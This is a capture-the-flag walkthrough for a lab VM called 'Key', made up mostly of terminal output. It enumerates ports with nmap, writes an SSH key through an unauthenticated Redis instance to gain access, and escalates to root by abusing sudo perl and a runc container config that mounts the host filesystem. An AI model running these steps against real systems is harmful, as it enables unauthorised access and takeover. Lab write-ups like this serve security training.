

# Key

```
(root@kali)-[/home/guel]
# nmap -sS -p- -Pn -n -vvv --min-rate 5000 192.168.0.228
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 16:02 EDT
Initiating ARP Ping Scan at 16:02
Scanning 192.168.0.228 [1 port]
Completed ARP Ping Scan at 16:02, 0.11s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:02
Scanning 192.168.0.228 [65535 ports]
Discovered open port 80/tcp on 192.168.0.228
Discovered open port 22/tcp on 192.168.0.228
Completed SYN Stealth Scan at 16:02, 16.41s elapsed (65535 total
Nmap scan report for 192.168.0.228
Host is up, received arp-response (0.055s latency).
Scanned at 2025-03-24 16:02:37 EDT for 17s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 08:00:27:39:EF:EE (PCS Systemtechnik/Oracle VirtualB

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.70 seconds
Raw packets sent: 81065 (3.567MB) | Rcvd: 65536 (2.621
```

-sCV -p22,80

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64  OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC+vbi23VlrH0gPiLSYNeSDJrQaV70ltXBLqYXW4b6gd
5sMZuudbiPuFRJJkzWC9Uj6IIa5m/1LmrRXsGsXR0pc+pYVLR0jHcvNOEhQkob7iFcv5IQMi6+q4PupWJd
fGbM5YTpjoyXjYqD+MHTAjF7BWEbu6A3CMmWws62kV70qE9TLmVf0WbBIVLLEg3BD00pRyIdpgXLIcBT3I
grEmxu9UvL3hwui8he5WepW980awFZo3Fp4+iub6I1Lfnr2UyEJugXD069A99vwfF8JYQDwf97BDLqshSc=
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE4A9MWv3
/fak=
|   256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMMpPcIE34GeQrTVaeAzxKlCrQ38DQtEis9VYhzM5cki
80/tcp    open  http     syn-ack ttl 64  Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
|_http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
MAC Address: 08:00:27:39:EF:EE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
(root@kali)-[/home/guel]
# whatweb 192.168.0.228
http://192.168.0.228 [200 OK] Apache[2.4.54], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[192.168.0.228], Title[Apache2 Test]
Debian Default Page: It works
```

```
(root@kali)-[/home/guel]
# nmap -6 -p- -Pn -n -v fe80::a00:27ff:fe39:efee%eth0
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 16:46 EDT
Initiating ND Ping Scan at 16:46
Scanning fe80::a00:27ff:fe39:efee [1 port]
Completed ND Ping Scan at 16:46, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:46
Scanning fe80::a00:27ff:fe39:efee [65535 ports]
Discovered open port 80/tcp on fe80::a00:27ff:fe39:efee
Discovered open port 22/tcp on fe80::a00:27ff:fe39:efee
Discovered open port 6379/tcp on fe80::a00:27ff:fe39:efee
Completed SYN Stealth Scan at 16:46, 21.60s elapsed (65535 total ports)
Nmap scan report for fe80::a00:27ff:fe39:efee
Host is up (0.0049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
MAC Address: 08:00:27:39:EF:EE (PCS Systemtechnik/Oracle VirtualBox virtual NI
```

```
-sCV -p22,80,6379
```

```
Host is up (0.0017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.54 ((Debian))
6379/tcp  open  redis    Redis key-value store 6.0.16
MAC Address: 08:00:27:39:EF:EE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ address-info:
|   IPv6 EUI-64:
|   MAC address:
|       address: 08:00:27:39:ef:ee
|_   manuf: PCS Systemtechnik/Oracle VirtualBox virtual NIC
```

```
(root@kali)-[/home/guel/Work/RedisModules-ExecuteCommand]
# redis-cli -h fe80::a00:27ff:fe39:efee%eth0
[fe80::a00:27ff:fe39:efee%eth0]:6379> config get *
1) "rdbchecksum"
2) "yes"
```

```
280) ""
281) "client-query-buffer-limit"
282) "1073741824"
283) "watchdog-period"
284) "0"
285) "dir"
286) "/home/dick"
287) "save"
288) ""
289) "client-output-buffer-limit"
290) "normal 0 0 0 slave 268435456 67108864 60 p"
291) "unixsocketperm"
292) "0"
293) "slaveof"
294) ""
295) "notify-keyspace-events"
296) ""
```

```

root@kali:~/ssh
└─ redis-cli -h fe80::a00:27ff:fe39:efee%eth0
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dir /home/dick/.ssh
OK
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dir /home/dick/.ssh
OK
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set parameter value [parameter v
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set parameter value [parameter v
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set d value [parameter value ...
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set db value [parameter value ..
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbf value [parameter value .
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfi value [parameter value
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfil value [parameter value
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfile value [parameter valu
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilena value [parameter va
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilenam value [parameter v
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilename value [parameter
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilename value [parameter
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilename "authorized_keys"
[fe80::a00:27ff:fe39:efee%eth0]:6379> config set dbfilename "authorized_keys"
OK
[fe80::a00:27ff:fe39:efee%eth0]:6379> save
OK
[fe80::a00:27ff:fe39:efee%eth0]:6379> █

(guel@kali)~$ sudo su
[sudo] password for guel:
(guel@kali)~/home/guel$ cd /root
(guel@kali)~$ cd .ssh
(guel@kali)~/.ssh$ ll
total 20
-rw-r--r-- 1 root root 91 Mar 24 17:04 authorized_keys
-rw-r--r-- 1 root root 399 Mar 24 17:04 id_ed25519
-rw-r--r-- 1 root root 91 Mar 24 17:04 id_ed25519.pub
-rw-r--r-- 1 root root 2132 Mar 24 17:25 known_hosts
-rw-r--r-- 1 root root 1626 Mar 24 00:49 known_hosts.old
(guel@kali)~/.ssh$ # (echo -e "\n\n"; cat id_ed25519.pub; echo -e "\n\n") > spaced_key.txt
(guel@kali)~/.ssh$ # cat spaced_key.txt | redis-cli -h fe80::a00:27ff:fe39:efee%eth0 -x set ss
h_key
OK
(guel@kali)~/.ssh$ # ssh dick@192.168.0.228
Linux key 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Sun May 21 19:09:56 2023 from 192.168.1.10
dick@key:~$ id
uid=1000(dick) gid=1000(dick) grupos=1000(dick)
dick@key:~$ whoami
dick
dick@key:~$ █

```

```

dick@key:~$ ls -la
total 84
drwx----- 4 dick dick 4096 mar 24 22:02 .
drwxr-xr-x 4 root root 4096 may 21 2023 ..
lrwxrwxrwx 1 root root 9 jul 19 2022 .bash_history -> /dev/null
-rwx----- 1 dick dick 220 jul 19 2022 .bash_logout
-rwx----- 1 dick dick 3526 jul 19 2022 .bashrc
-rw-r--r-- 1 dick dick 40368 mar 24 21:55 gsjownne.so
drwx----- 3 dick dick 4096 jul 19 2022 .local
-rwx----- 1 dick dick 807 jul 19 2022 .profile
-rwx----- 1 dick dick 100 may 21 2023 .rediserve.sh
-rw-r--r-- 1 dick dick 124 mar 24 22:02 redis.php
-rw-r--r-- 1 dick dick 66 jul 19 2022 .selected_editor
drwx----- 2 dick dick 4096 mar 24 22:49 .ssh
-r----- 1 dick dick 33 may 21 2023 user.txt
dick@key:~$ cat user.txt
c58f5b2a916dc3287ec6901777ba7912
dick@key:~$ █

```

c58f5b2a916dc3287ec6901777ba7912

```

dick@key:~$ sudo -l
Matching Defaults entries for dick on key:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dick may run the following commands on key:
    (gary) NOPASSWD: /usr/bin/perl

```



<https://hacktricks.boitatch.com.br/linux-unix/privilege-escalation/runc-privilege-escalation>

```
dick@key:/home$ sudo -u gary /usr/bin/perl -e 'system("/bin/bash");'  
gary@key:/home$
```

```
gary@key:/home$ sudo -l  
Matching Defaults entries for gary on key:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User gary may run the following commands on key:  
    (root) NOPASSWD: /usr/bin/runc
```

```
-rw-r--r-- 1 gary gary 66 May 21 2023  
gary@key:~$ mkdir exploit  
gary@key:~$ cd exploit/  
gary@key:~/exploit$ mkdir rootfs  
gary@key:~/exploit$ runc spec  
gary@key:~/exploit$ nano config.json  
gary@key:~/exploit$
```

```

"hostname": "runc",
"mounts": [
  {
    "destination": "/",
    "type": "bind",
    "source": "/",
    "options": [
      "rbind",
      "rw",
      "rprivate"
    ]
  },
  {
    "destination": "/dev",
    "type": "tmpfs"
  }
]

```

```

gary@key:~/exploit$ sudo runc run demo
root@runc:/# id
uid=0(root) gid=0(root) groups=0(root)
root@runc:/# whoami
root
root@runc:/# cat /root/root.txt
c4fe6806da41e3087eff3c01b1a98d5f
root@runc:/# █

```

c4fe6806da41e3087eff3c01b1a98d5f